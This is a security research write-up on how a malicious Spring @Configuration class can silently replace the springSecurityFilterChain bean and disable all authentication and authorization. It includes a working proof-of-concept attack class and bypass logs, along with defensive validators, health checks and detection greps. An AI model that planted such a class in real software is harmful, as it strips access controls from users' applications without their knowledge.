Spring Security Filter Chain Replacement: Understanding Supply Chain Attack Escalation

How dependency injection capabilities can silently disable entire security stacks and what developers need to know


Research Date: April 10, 2026
Researcher: Henock Habte
Classification: Educational Research
Vendor Response: Application Security Issue
Components Studied: Spring Security 6.2.x, Spring Boot 3.2.5


Executive Summary

This research explores how Spring’s dependency injection capabilities can be leveraged to completely replace the springSecurityFilterChain bean—demonstrating a critical supply chain attack escalation path that application security teams need to understand.

Spring’s Position: The Spring Security team classifies this as an application-level security concern. Once an attacker can introduce arbitrary code to the classpath (through compromised dependencies, build pipeline injection, etc.), the application is considered compromised. The framework provides the capability; securing the supply chain is the application’s responsibility.

Educational Value: While not a framework vulnerability, this research illustrates how:

  • A single malicious @Configuration class can silently disable all security controls
  • Supply chain compromises can escalate beyond typical code execution
  • The attack produces deceptively normal logs that mask complete security bypass
  • Modern applications have extensive attack surfaces through their dependency graphs

🎯 Key Learning: This demonstrates why supply chain security cannot be treated as just a “dependency scanning” problem. Understanding escalation paths helps teams implement appropriate defense-in-depth strategies.


Technical Background

Spring Security’s Filter Architecture

Spring Security operates through a chain of servlet filters managed by FilterChainProxy. The critical components are:

DelegatingFilterProxy: A servlet filter that delegates to the Spring-managed springSecurityFilterChain bean. Crucially, bean resolution is deferred—it happens lazily at first request time, not at startup.

FilterChainProxy: The Spring bean containing 10-15 individual security filters (authentication, authorization, CSRF, etc.).

Bean Resolution Trust: The entire security model assumes the bean resolved by name at runtime is the same bean Spring Security configured at startup.

BeanDefinitionRegistryPostProcessor

This Spring Framework interface allows modification of bean definitions after loading but before instantiation:

  • postProcessBeanDefinitionRegistry() – Can add, modify, or remove bean definitions
  • Any @Configuration class can implement this interface
  • Executes after Spring Security configures its beans but before runtime resolution

Supply Chain Attack Escalation

Why This Matters for Application Security

Traditional supply chain attacks focus on gaining initial code execution. This research demonstrates what happens after the initial compromise—how attackers can escalate from “arbitrary code execution” to “complete security stack disable” through framework extension points.

Common Supply Chain Entry Points:

  • Compromised npm/Maven/PyPI packages
  • Dependency confusion attacks
  • Build pipeline injection (CI/CD compromise)
  • Developer workstation compromise
  • Malicious internal packages in multi-tenant environments

Framework Escalation Path:
Once malicious code reaches the classpath, Spring’s BeanDefinitionRegistryPostProcessor interface provides a powerful escalation mechanism that can silently disable all security controls.

The Vulnerability Chain

The attack exploits three design decisions:

  1. Deferred Bean Resolution: DelegatingFilterProxy resolves the target bean lazily at first request
  2. Unrestricted Registry Access: Any @Configuration class can implement BeanDefinitionRegistryPostProcessor
  3. Name-Based Lookup: The entire security stack is accessed through a single bean name

Attack Flow

Here’s what happens during application startup:

  1. Spring Boot registers DelegatingFilterProxyRegistrationBean targeting "springSecurityFilterChain"
  2. Spring Security creates the legitimate filter chain bean definition (12 filters)
  3. Attacker’s Class removes the bean definition and registers a no-op replacement
  4. Spring Security Logs show “Will secure any request with [12 filters]” (the legitimate chain being built)
  5. Attacker’s Factory creates a FilterChainProxy with a single pass-through filter
  6. Runtime Resolution returns the attacker’s bean when first request arrives

Proof of Concept

The Attack Class

@Configuration
public class MaliciousSecurityOverride implements BeanDefinitionRegistryPostProcessor {

    @Override
    public void postProcessBeanDefinitionRegistry(BeanDefinitionRegistry registry) {
        System.out.println("[ATTACKER] Removing and replacing springSecurityFilterChain");

        // Remove Spring Security's bean definition
        if (registry.containsBeanDefinition("springSecurityFilterChain")) {
            registry.removeBeanDefinition("springSecurityFilterChain");
        }

        // Register our no-op replacement
        BeanDefinitionBuilder builder = BeanDefinitionBuilder
            .genericBeanDefinition(FilterChainProxy.class)
            .setFactoryMethod("createNoOpFilterChain");

        registry.registerBeanDefinition("springSecurityFilterChain", 
            builder.getBeanDefinition());
    }

    public static FilterChainProxy createNoOpFilterChain() {
        System.out.println("[ATTACKER] Creating no-op FilterChainProxy - ALL security disabled");

        // Create a single pass-through filter
        List<Filter> filters = Arrays.asList(new PassThroughFilter());
        SecurityFilterChain chain = new DefaultSecurityFilterChain(
            AnyRequestMatcher.INSTANCE, filters);

        return new FilterChainProxy(Arrays.asList(chain));
    }

    private static class PassThroughFilter implements Filter {
        @Override
        public void doFilter(ServletRequest request, ServletResponse response, 
                           FilterChain chain) throws IOException, ServletException {
            System.out.println("[ATTACKER] Pass-through - NO security for: " + 
                ((HttpServletRequest) request).getMethod() + " " + 
                ((HttpServletRequest) request).getRequestURI());
            chain.doFilter(request, response);
        }
    }
}

Required Configuration

The attack requires spring.main.allow-bean-definition-overriding=true in application.properties. While this defaults to false in Spring Boot 2.1+, many production applications enable it for legitimate reasons.


Experimental Results

Startup Log Deception

The application logs show this critical sequence:

[ATTACKER] Removing and replacing with no-op filter chain
[ATTACKER] springSecurityFilterChain replaced successfully

DefaultSecurityFilterChain: Will secure any request with 
[DisableEncodeUrlFilter, WebAsyncManagerIntegrationFilter, 
SecurityContextHolderFilter, HeaderWriterFilter, CorsFilter, 
LogoutFilter, BasicAuthenticationFilter, RequestCacheAwareFilter, 
SecurityContextHolderAwareRequestFilter, AnonymousAuthenticationFilter, 
ExceptionTranslationFilter, AuthorizationFilter]  <-- 12 legitimate filters

[ATTACKER] Creating no-op FilterChainProxy - ALL security disabled

DefaultSecurityFilterChain: Will secure any request with 
[PassThroughFilter]  <-- attacker's 1 filter

Note: Spring Security’s legitimate chain is configured and logged, but it’s never actually used because the bean definition was already replaced.

Runtime Bypass Confirmation

Filter Chain Analysis:

  • Expected: 12 security filters
  • Actual: 1 pass-through filter

Authentication Bypass Test:

Request: GET /api/data (no credentials)
Status: 200 OK
Body: Protected endpoint - auth was bypassed.
RESULT: *** AUTHENTICATION BYPASS CONFIRMED ***

Authorization Bypass Test:

Request: GET /admin/secrets (no credentials) 
Status: 200 OK
Body: ADMIN SECRETS - entire security chain was replaced.
RESULT: *** ADMIN AUTHORIZATION BYPASS CONFIRMED ***

Complete Security Breakdown

The attack simultaneously disables:

Security ControlStatus
Authentication (Basic/Form/OAuth2)DISABLED – No credentials required
Authorization (role-based access)DISABLED – ADMIN endpoints accessible
CSRF ProtectionDISABLED – No token validation
Security Headers (X-Frame-Options, etc.)DISABLED – No headers injected
Session ManagementDISABLED – No session protection
Logout HandlingDISABLED – /logout non-functional
Exception TranslationDISABLED – No 401/403 responses
Request CacheDISABLED – No post-login redirect

Why This Attack Is Particularly Dangerous

The Deception Problem

This technique is especially concerning for security teams because it’s nearly undetectable through normal monitoring:

✅ What Security Teams See (Appears Normal)

  • Spring Security startup logs show legitimate 12-filter chain configuration
  • Application starts successfully with no errors or warnings
  • Health checks pass and monitoring shows healthy application status
  • Access logs show normal HTTP 200 responses (not 401/403 errors)
  • Security scanning tools see Spring Security dependency as present and configured

🚨 What Actually Happens (Hidden Reality)

  • All authentication checks are bypassed
  • Role-based access controls are disabled
  • CSRF tokens are not generated or validated
  • Security headers are not added to responses
  • Session management protections are removed

🔍 The Only Detection Signal

A second “Will secure any request with […]” log line showing only 1 filter instead of 12. This single line is easily missed in production log volumes.

This creates a false sense of security where monitoring dashboards show green status while the application has zero security controls active.


Supply Chain Impact Analysis

From Code Execution to Complete Security Bypass

This technique demonstrates the escalation potential of supply chain compromises:

Traditional Supply Chain Impact:

  • Execute arbitrary code within application context
  • Access environment variables and configuration
  • Modify application behavior
  • Exfiltrate data accessible to the application

Enhanced Impact via Bean Replacement:

  • Silent security stack removal – no authentication required for any endpoint
  • Complete authorization bypass – admin functions accessible to all users
  • CSRF protection disabled – state-changing operations vulnerable
  • Security headers removed – XSS and clickjacking protections gone
  • Session management disabled – no session security controls

Real-World Escalation Scenarios

Scenario 1: Compromised Logging Library
A popular logging dependency gets compromised. Instead of just collecting logs, the malicious version includes a @Configuration class that disables security, allowing attackers to access admin endpoints without credentials.

Scenario 2: Internal Dependency Poisoning
In a microservices environment, a shared internal library is compromised. All services using this library have their security silently disabled, creating organization-wide access control bypass.

Scenario 3: CI/CD Pipeline Injection
Attackers compromise the build process to inject malicious dependencies. The resulting application appears to deploy normally with all security logs showing proper configuration, but protection is completely bypassed.

Real-World Risk Factors

High Risk Scenarios:

  • Supply chain attacks (malicious dependency)
  • Compromised developer workstations
  • Multi-tenant applications with untrusted code
  • CI/CD pipeline injection

Moderate Risk Scenarios:

  • Applications with allow-bean-definition-overriding=true
  • Broad @ComponentScan packages
  • Third-party library integrations

Defense Strategies

Vendor Response and Perspective

Spring Security Team’s Position

The Spring Security team classified this as an application-level security concern rather than a framework vulnerability. Their position: if malicious code can be placed on the classpath, the application is already considered compromised. From this perspective, the framework is functioning as designed by providing extension points that have legitimate uses.

Research Perspective: The Broader Security Concern

While respecting the vendor’s position, this research highlights important distinctions:

The Real-World Attack Surface:

  • Supply chain compromise doesn’t require direct code execution—just the ability to inject dependencies
  • Dependency confusion attacks can place malicious JARs in trusted build processes
  • Multi-module applications create opportunities for accidental or intentional bean collision
  • The framework’s silent failure mode makes detection extremely difficult

The Fail-Safe Design Principle:
When security bean collisions occur, Spring currently “fails open”—security is silently disabled. A fail-safe design would either refuse to start or log prominent warnings. The silent nature is what makes this particularly concerning for security teams.

Framework vs. Application Responsibility:
This situation illustrates the complex boundary between framework and application security. While Spring provides powerful extension capabilities, the silent override of security-critical beans represents a gap that sophisticated attackers can exploit through supply chain vectors.

Key Point: Even if not classified as a framework vulnerability, understanding these attack patterns helps security teams build better defenses against supply chain compromises and implement appropriate monitoring strategies.

Framework Design Considerations

This research dialogue highlights important questions for framework security:

Silent Failures vs. Explicit Warnings:
Should security-critical bean replacements generate warnings? The current behavior provides no indication that security controls have been disabled.

Extension Points and Security Boundaries:
How should powerful framework extension points balance flexibility with security? BeanDefinitionRegistryPostProcessor is necessary for Spring’s operation but can be misused.

Supply Chain Attack Surface:
As dependency graphs grow more complex, how should frameworks help developers understand and mitigate supply chain risks that leverage framework capabilities?

These questions don’t have simple answers, but the dialogue helps the community think more deeply about modern application security challenges.

Supply Chain Security Measures

1. Dependency Verification

<!-- Maven: Use dependency verification -->
<plugin>
    <groupId>org.apache.maven.plugins</groupId>
    <artifactId>maven-enforcer-plugin</artifactId>
    <configuration>
        <rules>
            <requireMavenVersion>
                <version>3.6.0</version>
            </requireMavenVersion>
            <bannedDependencies>
                <excludes>
                    <exclude>*:*:*:*:test</exclude>
                </excludes>
            </bannedDependencies>
        </rules>
    </configuration>
</plugin>

2. Dependency Scanning and SBOM

  • Implement comprehensive Software Bill of Materials (SBOM) generation
  • Use tools like OWASP Dependency Check, Snyk, or GitHub Security
  • Monitor for newly disclosed vulnerabilities in dependencies
  • Implement automated dependency update policies with testing

3. Build Pipeline Security

# Example: Secure CI/CD practices
- name: Verify Dependencies
  run: |
    # Verify checksums of all dependencies
    mvn dependency:resolve-sources
    mvn verify

- name: Scan for Malicious Patterns  
  run: |
    # Scan for BeanDefinitionRegistryPostProcessor implementations
    find . -name "*.java" -exec grep -l "BeanDefinitionRegistryPostProcessor" {} \;

Application-Level Defenses

1. Maintain Secure Defaults

# Keep bean definition overriding disabled (default since Spring Boot 2.1)
spring.main.allow-bean-definition-overriding=false

2. Implement Runtime Security Validation

@Component
public class SecurityChainValidator implements ApplicationRunner {

    private static final int EXPECTED_MIN_FILTERS = 10;

    @Override
    public void run(ApplicationArguments args) throws Exception {
        FilterChainProxy proxy = context.getBean("springSecurityFilterChain", 
                                                  FilterChainProxy.class);

        int filterCount = proxy.getFilterChains().get(0).getFilters().size();

        if (filterCount < EXPECTED_MIN_FILTERS) {
            logger.error("SECURITY ALERT: Filter chain has only {} filters, expected >= {}", 
                        filterCount, EXPECTED_MIN_FILTERS);
            // Consider failing startup in critical environments
            throw new SecurityException("Security filter chain integrity check failed");
        }

        logger.info("Security validation passed: {} filters active", filterCount);
    }
}

3. Narrow Component Scanning

@SpringBootApplication
@ComponentScan(basePackages = {
    "com.yourcompany.trusted.controllers",
    "com.yourcompany.trusted.services"
})
public class SecureApplication {
    // Exclude untrusted packages from automatic scanning
}

4. Code Review Standards

  • Flag for review: Any class implementing BeanDefinitionRegistryPostProcessor
  • Flag for review: Any class implementing BeanFactoryPostProcessor
  • Flag for review: Dynamic bean registration or modification
  • Mandatory approval: Changes to component scanning scope

Broader Implications for Application Security

Rethinking Supply Chain Risk

This research highlights that supply chain security extends beyond “is this dependency known to be malicious?” to “what capabilities does our framework provide to malicious code?”

Traditional Supply Chain Focus:

  • Vulnerability scanning of known dependencies
  • License compliance checking
  • Outdated dependency alerts
  • Known malicious package detection

Extended Supply Chain Considerations:

  • Framework extension point abuse potential
  • Silent security control bypass capabilities
  • Monitoring gap exploitation (what attacks are invisible?)
  • Escalation paths from code execution to privilege escalation

Security Team Action Items

1. Inventory Framework Extension Points
Identify all interfaces in your stack that allow runtime modification:

  • Spring: BeanDefinitionRegistryPostProcessor, BeanFactoryPostProcessor
  • JAX-RS: Custom providers and filters
  • Servlet: Filter and listener registration
  • Spring Boot: Auto-configuration classes

2. Implement Framework-Aware Monitoring

# Example: Monitor for suspicious bean registration patterns
grep -r "BeanDefinitionRegistryPostProcessor" /path/to/codebase/
grep -r "registerBeanDefinition" /path/to/codebase/
grep -r "removeBeanDefinition" /path/to/codebase/

3. Validate Security Control Integrity
Add health checks that verify security controls are functioning as expected:

@Component
public class SecurityIntegrityHealthIndicator implements HealthIndicator {

    @Override
    public Health health() {
        try {
            // Verify authentication is working
            SecurityContext context = SecurityContextHolder.getContext();

            // Verify filter chain integrity  
            FilterChainProxy proxy = applicationContext.getBean("springSecurityFilterChain");
            int filterCount = proxy.getFilterChains().get(0).getFilters().size();

            if (filterCount < 10) {
                return Health.down()
                    .withDetail("issue", "Security filter chain compromised")
                    .withDetail("filterCount", filterCount)
                    .build();
            }

            return Health.up()
                .withDetail("filterCount", filterCount)
                .build();

        } catch (Exception e) {
            return Health.down(e).build();
        }
    }
}

Related Research and Attack Evolution

This finding builds on prior research into Spring Security filter manipulation, demonstrating how attack techniques can evolve to achieve greater impact through different framework extension points.

AspectFilter Ordering AttackChain Replacement Attack
Entry PointPreemptive filter registrationBean definition manipulation
What’s BypassedIndividual header-based filtersENTIRE Spring Security stack
Framework RequirementStandard Spring setupBean definition overriding enabled
Spring Security StatusStill running (but deceived)Completely removed
Detection DifficultyModerate (unexpected filter order)High (appears normal)
Educational ValueIndividual control bypassComplete security stack understanding

Evolution of Attack Surface

Phase 1: Direct vulnerability exploitation (CVE-based attacks)
Phase 2: Framework feature abuse (filter ordering, request wrapping)
Phase 3: Meta-framework exploitation (bean definition manipulation)

Each phase represents increasing sophistication in understanding how modern application frameworks can be leveraged for security bypass.


Detection and Monitoring

Log-Based Detection

Monitor for these patterns in startup logs:

# Look for duplicate security chain configuration
grep "Will secure any request with" application.log | wc -l
# Should be 1, not 2

# Look for anomalously low filter counts  
grep "Will secure any request with" application.log | grep -E "\[.*\]" | grep -v "12\|11\|10"

Runtime Monitoring

@Component
public class SecurityMonitor {

    @Scheduled(fixedRate = 60000) // Every minute
    public void checkFilterChain() {
        FilterChainProxy proxy = context.getBean("springSecurityFilterChain");
        int filterCount = proxy.getFilterChains().get(0).getFilters().size();

        if (filterCount < EXPECTED_MIN_FILTERS) {
            alertingService.sendCriticalAlert("Security chain compromise detected!");
        }
    }
}

Actuator Health Check

@Component
public class SecurityHealthIndicator implements HealthIndicator {

    @Override
    public Health health() {
        FilterChainProxy proxy = context.getBean("springSecurityFilterChain");
        int filterCount = proxy.getFilterChains().get(0).getFilters().size();

        return filterCount >= 10 ? 
            Health.up().withDetail("filterCount", filterCount).build() :
            Health.down().withDetail("filterCount", filterCount).build();
    }
}

Conclusion

This research demonstrates how Spring’s BeanDefinitionRegistryPostProcessor interface can be leveraged to completely replace the springSecurityFilterChain bean, effectively removing all security controls while maintaining the appearance of normal operation.

Key Educational Takeaways:

🔍 For Security Teams:

  • Supply chain attacks can escalate beyond simple code execution
  • Framework extension points provide powerful capabilities to malicious code
  • Traditional monitoring may miss complete security bypass scenarios
  • Defense-in-depth must include framework-aware validation

⚙️ For Development Teams:

  • Understanding your framework’s extension points is critical
  • Bean definition management is a powerful but dangerous capability
  • Startup logs can be deceptive when bean definitions are manipulated
  • Runtime validation can catch what static analysis misses

🛡️ For Application Architects:

  • Security architecture must account for framework-level manipulation
  • Component scanning scope directly impacts attack surface
  • Default framework settings often provide the best security posture
  • Health checks should validate security control integrity, not just functionality

📊 Industry Impact:
While Spring correctly classifies this as an application-level concern, the research highlights the sophisticated escalation paths available to attackers who achieve classpath injection. This understanding helps security teams better assess supply chain risks and implement appropriate defenses.

The Bottom Line: Modern applications are complex systems with extensive dependency graphs and powerful framework capabilities. Security teams need to understand not just what could be compromised, but how deeply a compromise could affect the entire security posture through framework extension point abuse.

This research contributes to that understanding by demonstrating one of the most complete security bypass techniques possible in Spring-based applications—knowledge that helps teams build better defenses against sophisticated supply chain attacks.


Additional Resources


Security Research by Henock Habte • April 2026
Educational research exploring supply chain attack escalation patterns in modern application frameworks

Vendor Response: Spring Security team considers this an application-level security concern where securing the supply chain is the developer’s responsibility. This research aims to educate the community about the potential impact and appropriate defensive measures.

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *